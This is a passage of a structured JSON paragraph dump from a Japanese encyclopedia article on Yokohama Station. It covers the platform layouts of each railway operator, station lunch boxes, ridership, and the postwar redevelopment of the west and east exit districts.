"text": "各ホームとも乗降客が多く見通しも悪いため、終日に渡って立番が配置され、乗降終了合図を出している。5・6番線と9・10番線は立番駅員が発車メロディを扱う。",
"title": "駅構造"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "かつては上りの寝台列車が大幅に遅延した際、朝ラッシュ時の通勤輸送への影響を避けるため小田原(当駅の代替として臨時停車) - 品川間で東海道貨物線を走行し、当駅を経由しない場合もあった。",
"title": "駅構造"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "1980年9月30日までは現在の横須賀線ホームがなく、横須賀線電車も東海道線ホームに発着し、東京 - 大船間は東海道線と同様に川崎経由で運転されていた。",
"title": "駅構造"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "2010年10月1日より当駅南口に遺失物管理センター(JR東日本ステーションサービスに委託)を開設し、従来、改札・出札・ホームの各部署で対応していた遺失物の取り扱い業務を当センターへ集約した。当駅発行の定期券については従来通り出札で管理している。",
"title": "駅構造"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "2021年時点のダイヤで当駅を通過する旅客列車は東海道線の特急「湘南」のみである(一部の列車は貨物線経由で運行されるため当駅を経由しない)。2021年以前は特急「湘南」の前身である「湘南ライナー」および夜間の下り通勤快速が通過していたほか、1961年10月1日当時、下り準急「おくいず」と準急「はつしま」が当駅を通過し、東京駅 - 小田原駅間ノンストップで運転されていた。なお、上りの「おくいず」「はつしま」は当駅に停車した。",
"title": "駅構造"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "なお、東京都心と湘南地区間の通勤客のみを分離することを目的とした上記列車(「湘南」、「湘南ライナー」、通勤快速)を除き、国鉄時代から東海道線の昼行特急(東海道新幹線開業前の東京発大阪・西日本方面への最速達の特急列車も含む)や寝台特急は基本的に全列車が停車している。",
"title": "駅構造"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "(出典:JR東日本:駅構内図)",
"title": "駅構造"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "地下5階にある島式ホーム1面2線を有する地下駅である。東急電鉄と横浜高速鉄道の共同使用駅で、財産上は駅中央部を境に両社の折半所有となっているが、管轄は東急電鉄が担当している。東急最南端の駅である。なお、みなとみらい線の運転業務は東急電鉄に委託されているため、原則として当駅での乗務員交代は行われない。",
"title": "駅構造"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "東横線渋谷寄りにシーサスポイントがあり、深夜帯における当駅折り返し電車が使用するほか、輸送障害発生時に使用する場合もある。東横線の下り最終列車は当駅止まりで到着後に夜間留置され、翌朝に当駅始発のみなとみらい線下り列車となる。",
"title": "駅構造"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "改札は地下3階に2か所あり、渋谷寄りから正面改札と南改札となっている。地下1階への出入口ごとおよびフロアごとにそれぞれ3色のアクセントカラーを設定している。フロアごとのアクセントカラーの色は、地下2階がオレンジ色、地下3階が緑色、地下5階が水色。出入口ごとのアクセントカラーの色は、北口が緑色、中央口がオレンジ色、南口が水色。ホーム7号車付近(階段下)に待合室が1か所設置されていたが、2008年6月に撤去された。",
"title": "駅構造"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "ホームと改札との間に階段のほか、エレベーターとエスカレーターが設置されている。エスカレーターは4か所あり、改札寄りは階段と並行して上下各1組、中程は上下各2基となっている。時間帯によっては通常より若干速い高速運転で供用される場合がある。改札階では、階段・エスカレーターとも4か所すべてが同じ方向を向いている。改札外のエスカレーターは改札階の地下3階と南北自由通路の地下2階の間は3ルートともある。当初は地下2階と地下1階の間は中央通路と南改札を結ぶルートのみにあり、他の2ルートは工事中だったが、2007年11月までにすべてのルートにエスカレーターが設置された。南北自由通路を経由すれば中央通路と正面改札の間も階段を使わない移動は可能である。",
"title": "駅構造"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "南改札寄りのエスカレーターは階段と上下各1本のエスカレーターが並行して改札階とホーム階を直接結んでいる。正面改札寄りのエスカレーターは地下4階で分割されており、階段とエスカレーターを乗り継ぐこともできる。",
"title": "駅構造"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "エレベーターは各通路ごとに1基ずつ設置されている。",
"title": "駅構造"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "トイレは地下3階改札口内にある。多機能トイレは男女各トイレに併設しており、オストメイト対応となっている。",
"title": "駅構造"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "2013年3月16日から開始された東横線と東京メトロ副都心線との相互直通運転開始に向け、特急・通勤特急・急行の10両編成列車に対応するためのホーム有効長延伸工事を行い、1号車寄りと8号車寄りにそれぞれ1両分ずつホームを延伸した。",
"title": "駅構造"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "自治体の補助を受けてホームドアの設置がされ、2015年3月7日の始発より稼働している。",
"title": "駅構造"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "有料座席指定列車「S-TRAIN」は、土曜・休日ダイヤのみ東横線・みなとみらい線に入線し、当駅にも停車する。当駅からみなとみらい線内のみの乗車はできない(東横線内のみの乗車や自由が丘駅 - みなとみらい駅といった区間は乗車可)。",
"title": "駅構造"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "2017年7月21日には、JR線での観光列車「THE ROYAL EXPRESS」(東急催行)の運行開始に合わせて、南北自由通路に「THE ROYAL EXPRESS」クルーズプラン乗客専用ラウンジが新設され、同年8月末には、ラウンジの隣に一般客も利用可能なカフェ「THE ROYAL CAFE YOKOHAMA」がオープンした。",
"title": "駅構造"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "12両編成対応の上下方向別単式ホームで、JR線ホームの南隣に位置する。1930年の開業当初は島式1面2線、その後1944年2月に現在と同じ2面2線となったものの、1974年5月に再度島式ホーム1面2線となった。しかし、利用客の増加が続いたため、混雑緩和のために2006年7月に東口側に下り専用ホームが設置された。1番線に上大岡・三浦海岸方面、2番線に羽田空港・品川方面の列車が発着する。",
"title": "駅構造"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "新しい下りホームなどの設置は国土交通省の鉄道駅総合改善事業費補助制度によるもので、この制度では第三セクターに対し国や自治体から補助金が拠出されることから、資本関係にある第三セクターの横浜高速鉄道が関係施設を保有して事業主体となり京急が受託する形で工事が行われた。工事以前は極めて小さいながら独立した駅舎を持っていたが、この下りホーム設置により撤去された。跡地は下りホームと直結する地下1階・地上8階建ての駅ビルが2008年に開業し、同社のオフィスをはじめ、飲食店やコンビニエンスストアが入居している。",
"title": "駅構造"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "改札はきた・中央の両通路およびみなみ通路への連絡路に面して設置されている他、中央自由通路の北側にJRとの連絡改札がある。2004年1月までは北側の跨線橋上にも連絡改札があった。1987年から2006年3月17日にかけては相鉄口改札(乗り換え改札ではない)が設置されていたが、みなみ通路に連絡する南改札開設に伴い閉鎖された。",
"title": "駅構造"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "階段やエスカレーターなどは各改札からそれぞれホームへと連絡している。エレベーターは中央通路(およびJRとの乗り換え)ときた通路へ上下線ホームから各1台ずつ、計4台が設置されている。みなみ通路との連絡は階段のみである。",
"title": "駅構造"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "京急線中央改札口のコンコース内は、2008年2月15日に「エキポート横浜」としてリニューアルし、飲食店などのテナントが入居している。",
"title": "駅構造"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "2015年5月21日に副駅名「そごう・ポルタ前」を導入。2019年にはホームドアが設置された。",
"title": "駅構造"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "当駅は開業当初から待避設備はないが、かつては一部の下り普通が途中駅無停車の下りハイキング特急を待避していた。まず下り線で客扱いをした普通は、一旦品川寄りの渡り線を通って上り線に転線、その後ハイキング特急を待避して、再び下り線に転線していた。途中駅無停車は下りのみで、上りは途中駅無停車の列車はなかった。この渡り線は現在も残されており、大晦日から元日にかけて泉岳寺駅 - 当駅間で終夜運転を行う際にも毎年使用されているほか、早朝に神奈川新町駅から回送され、当駅始発上り電車となる際の転線に使用される。",
"title": "駅構造"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "1番線・2番線共に、駅自動放送が導入されており、1番線は関根正明、2番線は大原さやかが担当している。2020年に英語、中国語、韓国語にも対応した。",
"title": "駅構造"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "当駅は京浜急行電鉄では最大の乗降人員を擁するが、モーニング・ウィング号およびイブニング・ウィング号は混雑緩和・遠近分離のため停車しない。",
"title": "駅構造"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "(出典:京急電鉄:駅構内図)",
"title": "駅構造"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "2008年12月23日から、横浜の情景を歌ったいしだあゆみの代表曲「ブルー・ライト・ヨコハマ」をアレンジしたものを接近メロディとして使用している。メロディはスイッチの制作で、編曲は塩塚博が手掛けた。",
"title": "駅構造"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "地上2階にある頭端式ホーム4面3線を有する高架駅である。相鉄が管理する駅としては最東端の駅である。",
"title": "駅構造"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "現在の駅舎は3代目で、相鉄ジョイナスと相鉄会館(髙島屋の部分)を含む新相鉄ビルの一部として、1971年(昭和46年)8月1日に供用開始。1番線と2番線用降車ホーム、2番線用乗車ホームと3番線が、それぞれ同一の島を構成する。ホーム有効長はいずれも10両編成分である。全てのホームにホームドアが設置されている。",
"title": "駅構造"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "当駅に到着する列車は、初電より15時までの到着列車は、降車ホーム側のドアを開けた直後に乗車ホーム側のドアも開き、利用客はどちらのドアからも下車ができる。一方15時以降の到着列車は、降車ホーム側のドアのみが開き、全員が下車したことを確認後にそのドアが閉まり、到着列車の運転士が乗車ホーム側のドアを開ける(整列乗車)。",
"title": "駅構造"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "改札は2階の端(頭端部)とホーム中程の階段を降りた1階に分かれ、1階の改札は地下鉄駅側と駅ビル(五番街)側の2方向に設置されている。1階の改札と2階の各ホームの間は階段があり、1階の改札と3番線降車ホームとの間にエレベーターがある。",
"title": "駅構造"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "1階改札口には自動改札機が23台設置されており、1か所の設置台数としては関東地方で最多である。",
"title": "駅構造"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "2010年12月12日から2階改札付近からJR線みなみ改札への連絡通路が新設された。連絡通路は2階 - 地下1階をエスカレーター(両方向)で結んでいる。この通路付近に1987年から2006年3月17日にかけて京急線への連絡通路が存在していた。",
"title": "駅構造"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "2012年3月に、改札口付近に運行情報ディスプレイが、1番線・3番線の車止め部分に大型のデジタルサイネージがそれぞれ設置された。",
"title": "駅構造"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "2015年12月7日、3番線に常設のものとしては相鉄初となるホームドアの設置が開始され、翌2016年3月6日の始発より稼働している。その後2番線のホームドアは同年12月20日より、1番線のホームドアも2017年2月21日より稼働し、全ホームへの整備が完了した。",
"title": "駅構造"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "(出典:相模鉄道:駅構内マップ)",
"title": "駅構造"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "島式ホーム1面2線を有する地下駅。ホームは地下3階にある。1番線に湘南台方面、2番線にあざみ野方面の列車が発着する。副名称は「相鉄ジョイナス前」とされており、改札口の一つとして「ジョイナス(旧ザ・ダイヤモンド)改札口」が存在する。早朝にあざみ野方面のみ始発列車が設定されている(関内駅から回送)。横浜市営地下鉄の中で年間の利用者数が最も多い駅である。",
"title": "駅構造"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "駅長・副駅長所在駅。横浜管区駅として三ツ沢上町 - 高島町間を管理している。",
"title": "駅構造"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "主な駅弁は下記の通り。現在は主に崎陽軒が販売している。和製中華風料理が多く、特にシウマイ弁当が有名である。",
"title": "駅弁"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "下記の通り改札内外に崎陽軒の売店がある。その他、駅ナカ・駅ビルにも弁当店が存在する。地下鉄コンコースでの本格的な駅弁販売は世界的にみてかなり希少である。",
"title": "駅弁"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "1960年代頃までは、国鉄「湘南電車」(東海道線中距離普通列車)のホームに売り子が立ち、到着列車の窓越しに弁当やシウマイの折詰を販売する風景が見られた。当時は崎陽軒が下りホーム、楽陽軒が上りホームを分担していた。シュウマイに瓢箪形の陶器製の醤油入れがつき、特に崎陽軒のものは横山隆一(後に原田治)による「ひょうちゃん」の多種類に及ぶキャラクターが描かれ、人気を集めた。",
"title": "駅弁"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "横浜市の拠点となる駅の一つであり、神奈川県および東海道本線では最も利用客の多い駅である(2019年度の各社合計の乗降人員は1日平均約230万人、年間約8億4100万人)。各社局の利用状況は以下の通りである。相互乗り入れによる直通客などを除いた2007年度の乗降人員は1,203,963人である。",
"title": "利用状況"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "各年度の1日平均乗降人員は下表の通りである(JRを除く)。",
"title": "利用状況"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "各年度の1日平均乗車人員は下表の通りである。",
"title": "利用状況"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "横浜駅周辺地区は、関内駅周辺とともに横浜市における都心(ツインコア)の一つである横浜都心に指定されている。",
"title": "駅周辺"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "前述のように、江戸時代までの横浜駅周辺は袖ケ浦と呼ばれる入り江であった。1869年頃に高島嘉右衛門によって神奈川駅 - 横浜駅 - 桜木町駅の線路・国道1号線の部分が堤防状に埋め立てられ、1872年に新橋 - 横浜を結ぶ日本初の鉄道路線が開通した。そして1928年には横浜駅が現在の場所に移転され、道路に面した東口に駅舎が建設された。",
"title": "駅周辺"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "駅周辺は百貨店などの商業ビルが林立し、横浜最大の繁華街となっている。西口には髙島屋横浜店(相鉄ジョイナス)東口にはそごう横浜店が位置し、それぞれ西口と東口の顔になっている。西口・東口とも巨大な地下街を有し、周辺のビルと直結している。駅周辺は特定都市再生緊急整備地域に指定されており、段階的に大規模な再開発を行う計画となっている。",
"title": "駅周辺"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "所在地は、駅周辺が南幸一丁目、新田間川以南が南幸二丁目、新田間川以北が北幸一・二丁目。南幸は繁華街、北幸は西口駅前バスターミナルに面した場所以外はオフィス街という棲み分けがなされている。横浜高島屋(相鉄ジョイナス)やヨドバシ横浜といった大型商業施設の他にも飲食店が多数集積しており、飲食店街は他の首都圏の繁華街と同様に雑多な雰囲気をもつ。",
"title": "駅周辺"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "2007年4月供用開始。裏通りの飲み屋街に面する。周辺では鶴屋橋の架替工事 やきた西口鶴屋地区の再開発(詳細は後節)などが進行中で、現在は同出口部分も暫定的な外観となっている。",
"title": "駅周辺"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "飲み屋街「たぬき小路」は、横浜駅西口の区画整理の際に鶴屋橋付近に立ち並んでいた不法占拠のバラック建ての飲み屋を集約・移転させたものである。",
"title": "駅周辺"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "かつては「相鉄口」と呼ばれていたが、みなみ通路の供用開始に伴い「みなみ西口」に改称された。相鉄ジョイナスの南側に位置し、相模鉄道の1階改札口に隣接する。",
"title": "駅周辺"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "パルナード通り(横浜市道183号線)沿いには量販店が多いため、人通りが多く賑わっている。横浜市営地下鉄とは、出口内の階段(出口4)の他に、出口外にある階段(出口5)でも接続している。",
"title": "駅周辺"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "「横浜駅西口五番街」は、1961年5月に開業した西口屈指の歓楽街である。名称の由来については「南幸一丁目5番地」に位置することと、「ニューヨークの5番街」をイメージして付けられた。かつてはグランドキャバレーやバーがひしめき合う盛り場であったが、現在はカラオケ店や居酒屋、パチンコ店などに大きく様変わりしている。",
"title": "駅周辺"
},
{
"paragraph_id": 79,
"tag": "p",
"text": "所在は、高島二丁目12番から19番(旧:高島通2丁目)。3代目横浜駅として現在地に移転した際に、幹線道路沿いであった当地に駅舎が建てられた。かつては「横浜駅表口」とも呼ばれていた。",
"title": "駅周辺"
},
{
"paragraph_id": 80,
"tag": "p",
"text": "横浜新都市ビル2階部分から日産自動車グローバル本社(みなとみらい地区方面)とを結ぶペデストリアンデッキ「はまみらいウォーク」が設置されている。なお、新都市ビル(そごう)やスカイビルがある一角(出島地区)はみなとみらい地区の68街区に該当する。",
"title": "駅周辺"
},
{
"paragraph_id": 81,
"tag": "p",
"text": "2006年2月供用開始。屋根がガラス張りになっており、開放感のある空間として作られている。きた通路が地下1階にあるため、階段とエスカレーターが設置されている。2009年12月にベイクォーター・ポートサイド方面へのデッキ「ベイクォーターウォーク」が竣工した。",
"title": "駅周辺"
},
{
"paragraph_id": 82,
"tag": "p",
"text": "みなみ通路から接続する仮設通路(みなみ東口通路)の出口にあたり、現在は横浜中央郵便局とJR東日本横浜支社の間(中央通路の東口に隣接)に暫定的に設置されている。今後は東口周辺の再開発計画に合わせ、みなみ東口通路と出口の再整備を行う方針である。",
"title": "駅周辺"
},
{
"paragraph_id": 83,
"tag": "p",
"text": "明治時代から大正時代にかけて新田開発のため、茂木六兵衛らにより陸地と線路の間の海面が埋め立てられ、現在の西区北幸・南幸(旧:青木町字北幸町・字南幸町)が誕生した。この地域が現在の横浜駅西口一帯である。",
"title": "駅周辺"
},
{
"paragraph_id": 84,
"tag": "p",
"text": "1908年(明治41年)にこの土地の一部をスタンダード・オイル(現:エクソンモービル)が取得し、油槽所として使用していた。しかし1923年(大正12年)の関東大震災でタンクから漏れ出した約700万ガロンの石油・重油が新田間川に流れ出し、横浜電線から出火した火が燃え移り、十数日にわたって一帯が燃え続けた。その後、周辺住民の反対運動により油槽所は鶴見区安善町に移転したため空き地となり、西口は材木・石炭・砂利などの資材置場として使用され、追いはぎが出るとまで言われる荒れ地となっていた。",
"title": "駅周辺"
},
{
"paragraph_id": 85,
"tag": "p",
"text": "鉄道省は横浜駅を現在の場所に移転するため、1927年(昭和2年)5月に横浜駅の新駅舎建設に着工。翌1928年(昭和3年)10月15日、3代目横浜駅舎が開設された。2代目横浜駅が関東大震災で大きな被害を受けたことや、当地は埋立地で軟弱地盤であることから、地盤改良のために長さ18m、元口直径35∼40cmのベイマツが、75cm間隔で2226本打ち込まれた。",
"title": "駅周辺"
},
{
"paragraph_id": 86,
"tag": "p",
"text": "東口では省線の駅移転に続き、横浜市電(旧横浜電気鉄道)の横浜駅前停留所が国道1号線上に設置され、1930年(昭和5年)には京浜電気鉄道(現 京浜急行電鉄)の駅が開設された。また西口では、1933年(昭和8年)12月に神中鉄道(現在の相模鉄道、相鉄本線に該当)が横浜駅まで延伸して駅を設置した。",
"title": "駅周辺"
},
{
"paragraph_id": 87,
"tag": "p",
"text": "これにより横浜駅は、省線と横浜市電に加え、京浜電気鉄道・神中鉄道・東京横浜電鉄(現在の東急東横線)の私鉄3社が接続するターミナル駅となった。しかし当時の横浜市街の中心は、初代横浜駅があった桜木町や、その隣駅で横浜港に近い関内周辺であったことから、駅舎がある東口周辺には依然として空き地が広がっていた。",
"title": "駅周辺"
},
{
"paragraph_id": 88,
"tag": "p",
"text": "太平洋戦争中は、西口の土地は接収されて大日本帝国海軍の資材置き場になった。1945年(昭和20年)の横浜大空襲では、駅ホームの上屋・小荷物扱い所・構内線路が全焼したものの、東口は駅舎の内装が全焼した程度で大きな被害はまぬがれた。しかし西口には工場があったため焼夷弾が落とされ、西口一帯が全焼した。",
"title": "駅周辺"
},
{
"paragraph_id": 89,
"tag": "p",
"text": "明治・大正期にスタンダード・オイルが油槽所として使用していた西口の土地は、戦時中の1943年(昭和18年)に相模鉄道が砂利輸送・厚木海軍航空隊へのガソリン輸送のための資材置き場として145,000円で購入していた。その土地は戦後に終戦処理事務所が相模鉄道から買い戻し、横浜駅に置かれた連合国軍最高司令官総司令部 (GHQ) 鉄道輸送事務所の資材置き場として使用されていたが、1951年(昭和26年)にスタンダード・ヴァキューム・オイル・カムパニー(旧スタンダード・オイル)に返還された。",
"title": "駅周辺"
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{
"paragraph_id": 90,
"tag": "p",
"text": "相模鉄道はこの土地を再度買い取ることを希望し、スタンダード・ヴァキューム・オイル・カムパニーからは相模鉄道が同社の代理店となること、横浜市からは西口の整備事業に協力することを条件として売却が許可され、1952年(昭和27年)11月に相模鉄道が、スタンダード・ヴァキューム・オイル・カムパニーから西口の土地(24,688m)を取得。これにより、横浜駅西口の開発が始まることとなった。",
"title": "駅周辺"
},
{
"paragraph_id": 91,
"tag": "p",
"text": "西口では資材置き場として使わていた広い土地が接収解除され、相模鉄道が用地買収したことを契機に、1950年代から相鉄主導による積極的な開発が開始された。実際の開発は相鉄グループの相鉄不動産(初代、1962年9月1日付で相模鉄道へ吸収合併)が担当した。こうして戦後の横浜駅周辺の開発は、元々の駅表口であった東口に先駆け、相模鉄道の主導による西口開発が先行することとなる。",
"title": "駅周辺"
},
{
"paragraph_id": 92,
"tag": "p",
"text": "神奈川国体開催を控えた1954年(昭和29年)には横浜市により西口広場・道路の整備が完了し、翌1955年(昭和30年)10月には横浜駅西口(北幸一丁目・南幸一丁目)の区画整理事業が完了した。",
"title": "駅周辺"
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"paragraph_id": 93,
"tag": "p",
"text": "相鉄は1955年(昭和30年)5月に横浜駅西口の開発計画を決定、同年8月22日に横浜駅名品街の建設工事を着工。翌9月よりテナント誘致を開始し、同年12月に高島屋と契約を締結した。翌1956年(昭和31年)4月2日、アーケード商店街の横浜駅名品街(第1次区画)・高島屋ストア(のちの横浜高島屋)を開業。1957年には相鉄文化会館、1959年には相鉄会館(のち横浜高島屋の増床部分)を開業した。",
"title": "駅周辺"
},
{
"paragraph_id": 94,
"tag": "p",
"text": "1960年代に入っても相鉄による西口開発は続き、1961年(昭和36年)12月には相鉄ビル(相模鉄道旧本社ビル、現在は横浜ベイシェラトン ホテル&タワーズ)が完成した。また翌1962年11月23日には、相模鉄道・鉄道弘済会・崎陽軒・東京急行電鉄の4社共同出資により、国鉄横浜駅西口駅舎「横浜ステーションビル」(のちの横浜シァル)が開業。さらに1964年(昭和39年)12月1日にはダイヤモンド地下街・横浜駅西口地下駐車場が開業した。相鉄による開発ではないが1961年5月には西口屈指の歓楽街となる五番街が、1962年2月28日には横浜東急ホテルが、1968年11月3日横浜岡田屋が開業した。",
"title": "駅周辺"
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"paragraph_id": 95,
"tag": "p",
"text": "一方、戦後の東口は出島地区(現在、横浜新都市ビルや横浜スカイビルがある場所。横浜駅東口総合開発計画における名称で、かつて出島があったことに由来する)に、神奈川県匡済会の独身者向けアパート 横浜新興倶楽部(1932年に労働者向け宿泊所の横浜社会館を改装)、東神倉庫(1946年竣工、のちの菱光倉庫)、横浜市警察本部(1949年 - 1955年6月)、横浜市交通局のバスプール(のちの横浜市営バス西営業所)、簡易屋台や学校暖房用の貯炭場などがある程度であった。東口駅前に1955年(昭和30年)9月、展望台とネオンサインを設けた崎陽軒「シウマイショップ」(現在の崎陽軒本店の場所にあった) ができるまでは、依然として寂しい場所であった。1950年代から相模鉄道の主導により西口の開発が進み、1960年代にはかつて横浜の商業の中心であった伊勢佐木町を脅かすほどの一大繁華街として発展したため、東口は横浜駅の表玄関でありながら見劣りするようになっていた。",
"title": "駅周辺"
},
{
"paragraph_id": 96,
"tag": "p",
"text": "1965年には横浜市により戦後復興のための「横浜市総合開発計画」が発表され、その中に横浜駅東口の開発も盛り込まれた。ただし当時の横浜市はGHQによる接収が解除された関内・伊勢佐木町・本牧など横浜中心部の復興に注力しており、また財政難もあいまって市が単独で事業を進めることは困難であった。さらに東口には権利関係が複雑な土地や公有地も多いことも問題を複雑化させていた。",
"title": "駅周辺"
},
{
"paragraph_id": 97,
"tag": "p",
"text": "そこで民間企業の共同出資により、横浜駅前振興株式会社(現:株式会社横浜スカイビル)を設立し、駅東口の出島地区および東口地下街の開発を開始することとした。1967年(昭和42年)7月には、横浜市営バス西営業所跡地に温水プール「スカイプール」を建設、翌1968年(昭和43年)3月には最上階に回転展望台とレストランを設けた11階建ての初代横浜スカイビルの開業にこぎつけたものの、業績は伸び悩んだ。当初は横浜市警察本部跡地と、横浜市営バス西営業所跡地の土地を借り受けてビルを建設する予定であったが払い下げに変更されたり、横浜市会の権力争いに巻き込まれたため払い下げ価格が予想以上に嵩んで支払い遅延が発生したり、市長が革新派の飛鳥田一雄に交代したことにより再三にわたる設計見直し要求が行われるなどの影響もあり、出島地区の北側・東口地下街の開発は困難となった。",
"title": "駅周辺"
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{
"paragraph_id": 98,
"tag": "p",
"text": "一方、西口は繁華街として急成長したことから、相模鉄道は1967年10月30日に新相鉄ビル(相鉄ジョイナス)の建設を中心とした「横浜駅西口再開発計画」を発表した。これは横浜駅名品街・相鉄文化会館を取り壊し、相鉄会館(高島屋)と相模鉄道の駅舎を取り込んだ駅ビル「新相鉄ビル」を作るという計画であった。こうして1970年代には相鉄による西口再開発事業が進むこととなる。",
"title": "駅周辺"
},
{
"paragraph_id": 99,
"tag": "p",
"text": "相鉄は「横浜駅西口再開発計画」に基づき、1971年(昭和46年)には相鉄ムービル(初代)と、新相鉄ビルの一部(高島屋が入居する相鉄会館・相模鉄道横浜駅部分)を完成。1973年(昭和48年)10月には新相鉄ビル第1期工事の大部分が完了し、11月20日に「相鉄ジョイナス」が開業した。1976年には増築を伴う相鉄ジョイナス第2期工事も完了し、現在の相鉄ジョイナスが完成した。 また1973年2月19日には横浜天理教館(天理ビル)が、1978年10月にはニチイ横浜ショッピングデパート(現:横浜ビブレ)が開業。",
"title": "駅周辺"
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{
"paragraph_id": 100,
"tag": "p",
"text": "東口においては、横浜市全員協議会が1971年(昭和46年)6月に「横浜駅東口総合計画」を策定し、横浜市の主導により東口の開発を行うこととした。国道下の利用は公共企業体に限るという建設省の方針により、10月には第三セクターの財団法人横浜駅東口開発公社(資本金1億円)を設立し、公社が東口駅前広場と周辺道路、横浜ポルタと横浜駅東口地下駐車場、出島地区、横浜駅東口バスターミナルの建設・運営を行うことになった。",
"title": "駅周辺"
},
{
"paragraph_id": 101,
"tag": "p",
"text": "1973年12月に着工したものの、財団法人という制約から資本金1億円では資金が不足し、また第三セクターという形態による出資者の当事者意識の不足、首都高速神奈川1号横羽線の建設決定による設計変更、第1次オイルショックの狂乱物価による建設費の高騰などの影響で総事業費が膨らみ、出島地区の開発が難しくなってしまった。また市長が元横浜駅東口開発公社理事長の細郷道一に変わったこともあり、1978年(昭和53年)8月25日の横浜市全員協議会により「横浜駅東口総合計画」が変更され、出島地区の開発は民間に委ねられることとなった。",
"title": "駅周辺"
},
{
"paragraph_id": 102,
"tag": "p",
"text": "1980年(昭和55年)11月7日には、東口地下街横浜ポルタ・横浜駅東口地下駐車場が開業した。同時に横浜市の事業で、横浜駅東口と西口をつなぐ東西自由通路(現:中央通路) を開設。4代目駅舎 の横浜ターミナルビル(キーテナントはルミネ横浜店)も同時に開業した。",
"title": "駅周辺"
},
{
"paragraph_id": 103,
"tag": "p",
"text": "出島地区の開発を行うための組織として、1980年(昭和55年)12月20日に第三セクターの横浜新都市センター株式会社(資本金30億円)が設立され、同社が横浜新都心ビル・横浜駅東口バスターミナルの建設・運営を行うことになった。また翌1981年(昭和56年)7月には横浜市が「横浜市臨海部総合整備計画(みなとみらい21計画)」を発表し、出島地区が「みなとみらい21 横浜駅東口地区(68街区)」として組み込まれることになった。",
"title": "駅周辺"
},
{
"paragraph_id": 104,
"tag": "p",
"text": "横浜新興倶楽部の立ち退き交渉が難航し裁判に発展したが和解し、横浜スカイビルが所有していたスカイプール の土地売却交渉も難航したが、横浜スカイビルが横浜新都市ビルの建設・運営に参加することを条件に、横浜スカイビルから土地を借りることで和解した。",
"title": "駅周辺"
},
{
"paragraph_id": 105,
"tag": "p",
"text": "1983年(昭和58年)10月8日には横浜新都市ビルの起工式が行われ、翌11月にはみなとみらい21の起工式も開催された。そして1985年(昭和60年)9月26日にビルが竣工し、同年9月30日には横浜新都市ビルと核テナントの横浜そごうが開業した。",
"title": "駅周辺"
},
{
"paragraph_id": 106,
"tag": "p",
"text": "財団法人横浜駅東口開発公社は、横浜新都市センター株式会社に事業を譲渡し、1988年(昭和63年)3月31日に解散。同年7月には横浜市からヨコハマポートサイド地区(横浜ベイクォーターなどがある地区)の都市計画(第二種市街地再開発事業)が発表され、開発が始まった。",
"title": "駅周辺"
},
{
"paragraph_id": 107,
"tag": "p",
"text": "翌1989年(平成元年)3月からは、みなとみらい21地区で横浜博覧会 (YES'89) が開催され、会期中は横浜新都市ビル2階のペデストリアンデッキ「風の広場」から、コスモワールド子供共和国の北側(現在の39街区と40街区、現「M.M.TOWERS」と「M.M. TOWERS FORESIS」)にあったゴンドラゲートまでの768mを繋ぐゴンドラリフトが設置され、株式会社横浜博スカイウェイにより運行されていた。",
"title": "駅周辺"
},
{
"paragraph_id": 108,
"tag": "p",
"text": "1996年9月には、東口に2代目スカイビルが開業し、核テナントとして丸井(マルイシティ横浜)が入居。スカイビル1階には横浜シティ・エア・ターミナル(YCAT)が開業した。また崎陽軒本店ビルも竣工した。",
"title": "駅周辺"
},
{
"paragraph_id": 109,
"tag": "p",
